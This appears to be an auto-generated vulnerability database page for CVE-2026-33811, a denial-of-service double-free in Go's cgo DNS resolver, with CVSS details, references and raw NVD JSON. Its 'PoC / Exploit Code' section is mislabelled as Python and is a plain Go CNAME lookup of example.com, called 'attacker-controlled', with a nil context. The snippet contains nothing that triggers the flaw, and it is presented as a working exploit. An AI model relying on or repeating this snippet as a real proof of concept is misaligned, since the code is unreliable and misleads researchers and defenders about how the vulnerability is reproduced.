CVE-2026-33811

Description

When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go 标准库 (net包)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

package main

import (
	"fmt"
	"net"
	"os"
)

func main() {
	// Force usage of cgo resolver if available (default behavior on some systems)
	// The vulnerability triggers when LookupCNAME processes a malicious response.
	resolver := &net.Resolver{
		PreferGo: false, // Use cgo resolver
	}

	// Target domain controlled by attacker
	target := "example.com"

	fmt.Println("Sending DNS query...")
	cname, err := resolver.LookupCNAME(nil, target)
	if err != nil {
		fmt.Printf("Error (expected or crash): %v\n", err)
		os.Exit(1)
	}
	fmt.Printf("CNAME: %s\n", cname)
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33811
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33811
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33811/
[4] VulDB https://vuldb.com/cve/CVE-2026-33811
[5] https://go.dev/cl/767860
[6] https://go.dev/issue/78803
[7] https://groups.google.com/g/golang-announce/c/qcCIEXso47M
[8] https://pkg.go.dev/vuln/GO-2026-4981

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33811", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:42.770", "lastModified": "2026-05-08T15:16:36.640", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/767860", "source": "[email protected]"}, {"url": "https://go.dev/issue/78803", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4981", "source": "[email protected]"}]}}